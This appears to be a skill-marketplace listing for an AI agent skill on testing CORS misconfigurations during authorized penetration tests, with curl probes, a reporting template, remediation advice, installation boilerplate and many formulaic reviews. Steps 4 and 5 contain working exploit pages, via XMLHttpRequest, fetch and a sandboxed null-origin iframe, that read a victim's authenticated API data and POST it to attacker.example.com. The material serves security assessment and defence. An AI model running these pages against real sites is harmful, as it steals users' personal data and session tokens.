testing-cors-misconfiguration▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments.
| name | testing-cors-misconfiguration |
| description | Identifying and exploiting Cross-Origin Resource Sharing misconfigurations that allow unauthorized cross-domain data access and credential theft during security assessments. |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | - penetration-testing - cors - web-security - owasp - same-origin-policy - burpsuite |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.PS-01 - ID.RA-01 - PR.DS-10 - DE.CM-01 |
Testing CORS Misconfiguration
When to Use
- During authorized penetration tests when assessing API endpoints for cross-origin access controls
- When testing single-page applications that make cross-origin API requests
- For evaluating whether sensitive data can be exfiltrated from a victim's browser session
- When assessing microservice architectures with multiple domains sharing data
- During security audits of applications using CORS headers for cross-domain communication
Prerequisites
- Authorization: Written penetration testing agreement for the target
- Burp Suite Professional: For intercepting and modifying Origin headers
- Browser with DevTools: For observing CORS behavior in real browser context
- Attacker web server: For hosting CORS exploitation PoC pages
- curl: For manual CORS header testing
- Python HTTP server: For hosting exploit pages locally
Workflow
Step 1: Identify CORS Configuration on Target Endpoints
Check all API endpoints for CORS response headers.
# Test with a foreign Origin header
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com/api/user/profile"
# Check for CORS headers in response:
# Access-Control-Allow-Origin: https://evil.example.com (BAD: reflects any origin)
# Access-Control-Allow-Origin: * (BAD if with credentials)
# Access-Control-Allow-Credentials: true (allows cookies)
# Access-Control-Allow-Methods: GET, POST, PUT, DELETE
# Access-Control-Allow-Headers: Authorization, Content-Type
# Access-Control-Expose-Headers: X-Custom-Header
# Test multiple endpoints
for endpoint in /api/user/profile /api/user/settings /api/transactions \
/api/admin/users /api/account/balance; do
echo "=== $endpoint ==="
curl -s -I \
-H "Origin: https://evil.example.com" \
"https://api.target.example.com$endpoint" | \
grep -i "access-control"
echo
done
Step 2: Test Origin Reflection and Validation Bypass
Determine how the server validates the Origin header.
# Test 1: Arbitrary origin reflection
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 2: Null origin
curl -s -I -H "Origin: null" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 3: Subdomain matching bypass
curl -s -I -H "Origin: https://evil.target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 4: Prefix/suffix matching bypass
curl -s -I -H "Origin: https://target.example.com.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
curl -s -I -H "Origin: https://eviltarget.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 5: Protocol downgrade
curl -s -I -H "Origin: http://target.example.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 6: Special characters in origin
curl -s -I -H "Origin: https://target.example.com%60.evil.com" \
"https://api.target.example.com/api/user/profile" | grep -i "access-control-allow-origin"
# Test 7: Wildcard with credentials check
curl -s -I -H "Origin: https://evil.com" \
"https://api.target.example.com/api/public" | grep -iE "access-control-allow-(origin|credentials)"
# Wildcard (*) + credentials (true) is invalid per spec but some servers misconfigure
Step 3: Test Preflight Request Handling
Assess how the server handles OPTIONS preflight requests.
# Send preflight request
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: PUT" \
-H "Access-Control-Request-Headers: Authorization, Content-Type" \
"https://api.target.example.com/api/user/profile"
# Check:
# Access-Control-Allow-Methods: should only list needed methods
# Access-Control-Allow-Headers: should only list needed headers
# Access-Control-Max-Age: preflight cache duration (long = risky)
# Test if dangerous methods are allowed
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: DELETE" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-methods"
# Test if preflight is cached too long
curl -s -I -X OPTIONS \
-H "Origin: https://evil.example.com" \
-H "Access-Control-Request-Method: GET" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-max-age"
# max-age > 86400 (1 day) allows prolonged abuse after policy change
Step 4: Craft CORS Exploitation Proof of Concept
Build an HTML page that exploits the CORS misconfiguration to steal data.
<!-- cors-exploit.html - Host on attacker server -->
<html>
<head><title>CORS PoC</title></head>
<body>
<h1>CORS Exploitation Proof of Concept</h1>
<div id="result"></div>
<script>
// Exploit: Read victim's profile data cross-origin
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
// Data successfully stolen cross-origin
document.getElementById('result').innerText = xhr.responseText;
// Exfiltrate to attacker server
var exfil = new XMLHttpRequest();
exfil.open('POST', 'https://attacker.example.com/collect', true);
exfil.setRequestHeader('Content-Type', 'application/json');
exfil.send(xhr.responseText);
}
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile', true);
xhr.withCredentials = true; // Include victim's cookies
xhr.send();
</script>
</body>
</html>
<!-- Exploit using fetch API -->
<script>
fetch('https://api.target.example.com/api/user/profile', {
credentials: 'include'
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
console.log('Stolen data:', data);
});
</script>
Step 5: Exploit Null Origin Vulnerability
If Origin: null is allowed, exploit via sandboxed iframes.
<!-- null-origin-exploit.html -->
<html>
<body>
<h1>Null Origin CORS Exploit</h1>
<!--
Sandboxed iframe sends requests with Origin: null
If server reflects Access-Control-Allow-Origin: null with credentials,
data can be exfiltrated
-->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="
<script>
var xhr = new XMLHttpRequest();
xhr.onload = function() {
// Send stolen data to parent or attacker server
fetch('https://attacker.example.com/collect', {
method: 'POST',
body: xhr.responseText
});
};
xhr.open('GET', 'https://api.target.example.com/api/user/profile');
xhr.withCredentials = true;
xhr.send();
</script>
"></iframe>
</body>
</html>
<!-- Alternative: data: URI for null origin -->
<!-- Open in browser: data:text/html,<script>...</script> -->
Step 6: Test for Internal Network Access via CORS
Check if CORS allows access from internal origins that could be leveraged via XSS.
# Test internal/development origins
INTERNAL_ORIGINS=(
"http://localhost"
"http://localhost:3000"
"http://localhost:8080"
"http://127.0.0.1"
"http://192.168.1.1"
"http://10.0.0.1"
"https://staging.target.example.com"
"https://dev.target.example.com"
"https://test.target.example.com"
)
for origin in "${INTERNAL_ORIGINS[@]}"; do
echo -n "$origin: "
curl -s -I -H "Origin: $origin" \
"https://api.target.example.com/api/user/profile" | \
grep -i "access-control-allow-origin" | tr -d '\r'
echo
done
# If internal origins are allowed and have XSS:
# 1. Find XSS on http://subdomain.target.example.com
# 2. Use XSS to make CORS request to api.target.example.com
# 3. Exfiltrate data via the XSS + CORS chain
Key Concepts
| Concept | Description |
|---|---|
| Same-Origin Policy | Browser security model preventing scripts from one origin accessing data from another |
| CORS | Mechanism allowing servers to specify which origins can access their resources |
| Origin Reflection | Server mirrors the request Origin header in the ACAO response header (dangerous) |
| Null Origin | Special origin value from sandboxed iframes, data URIs, and redirects |
| Preflight Request | OPTIONS request sent before certain cross-origin requests to check permissions |
| Credentialed Requests | Cross-origin requests that include cookies, requiring explicit ACAO + ACAC headers |
| Wildcard CORS | Access-Control-Allow-Origin: * allows any origin but prohibits credentials |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting requests and modifying Origin headers |
| CORScanner | Automated CORS misconfiguration scanner (pip install corscanner) |
| cors-scanner | Node.js-based CORS testing tool |
| Browser DevTools | Monitoring CORS errors and network requests in real browser context |
| Python http.server | Hosting CORS exploit PoC pages |
| OWASP ZAP | Automated CORS misconfiguration detection |
Common Scenarios
Scenario 1: Full Origin Reflection
The API reflects any Origin header in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true. Any website can read authenticated API responses, stealing user data.
Scenario 2: Null Origin Allowed
The server allows Origin: null with credentials. Using a sandboxed iframe, an attacker page sends credentialed requests to the API and reads the response data.
Scenario 3: Subdomain Wildcard Trust
The CORS policy allows *.target.example.com. An attacker finds XSS on forum.target.example.com and uses it to make cross-origin requests to api.target.example.com, stealing user data through the trusted subdomain.
Scenario 4: Regex Bypass on Origin Validation
The server uses regex target\.example\.com to validate origins, but fails to anchor the regex. attackertarget.example.com matches and is allowed access.
Output Format
## CORS Misconfiguration Finding
**Vulnerability**: CORS Origin Reflection with Credentials
**Severity**: High (CVSS 8.1)
**Location**: All /api/* endpoints on api.target.example.com
**OWASP Category**: A01:2021 - Broken Access Control
### CORS Configuration Observed
| Header | Value |
|--------|-------|
| Access-Control-Allow-Origin | [Reflects request Origin] |
| Access-Control-Allow-Credentials | true |
| Access-Control-Allow-Methods | GET, POST, PUT, DELETE |
| Access-Control-Expose-Headers | X-Auth-Token |
### Origin Validation Results
| Origin Tested | Reflected | Credentials |
|---------------|-----------|-------------|
| https://evil.com | Yes | Yes |
| null | Yes | Yes |
| http://localhost | Yes | Yes |
| https://evil.target.example.com | Yes | Yes |
### Impact
- Any website can read authenticated API responses in victim's browser
- User profile data (email, phone, address) exfiltrable
- Session tokens exposed via X-Auth-Token header
- CSRF protection bypassed (attacker can read and submit anti-CSRF tokens)
### Recommendation
1. Implement a strict allowlist of trusted origins
2. Never reflect arbitrary Origin values in Access-Control-Allow-Origin
3. Do not allow Origin: null with credentials
4. Validate origins with exact string matching, not regex substring matching
5. Set Access-Control-Max-Age to a reasonable value (600 seconds)
How to use testing-cors-misconfiguration on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add testing-cors-misconfiguration
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches testing-cors-misconfiguration from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate testing-cors-misconfiguration. Access the skill through slash commands (e.g., /testing-cors-misconfiguration) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★51 reviews- ★★★★★Amelia Iyer· Dec 28, 2024
testing-cors-misconfiguration reduced setup friction for our internal harness; good balance of opinion and flexibility.
- ★★★★★Emma Jain· Dec 8, 2024
We added testing-cors-misconfiguration from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Jin Diallo· Dec 4, 2024
testing-cors-misconfiguration has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Jin Jain· Nov 27, 2024
Keeps context tight: testing-cors-misconfiguration is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★James Anderson· Nov 27, 2024
Solid pick for teams standardizing on skills: testing-cors-misconfiguration is focused, and the summary matches what you get after install.
- ★★★★★Amelia Khanna· Nov 23, 2024
testing-cors-misconfiguration fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Arya Farah· Nov 19, 2024
I recommend testing-cors-misconfiguration for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
- ★★★★★Rahul Santra· Nov 15, 2024
testing-cors-misconfiguration is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Tariq Ndlovu· Nov 15, 2024
Useful defaults in testing-cors-misconfiguration — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Jin Bhatia· Oct 18, 2024
testing-cors-misconfiguration is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
showing 1-10 of 51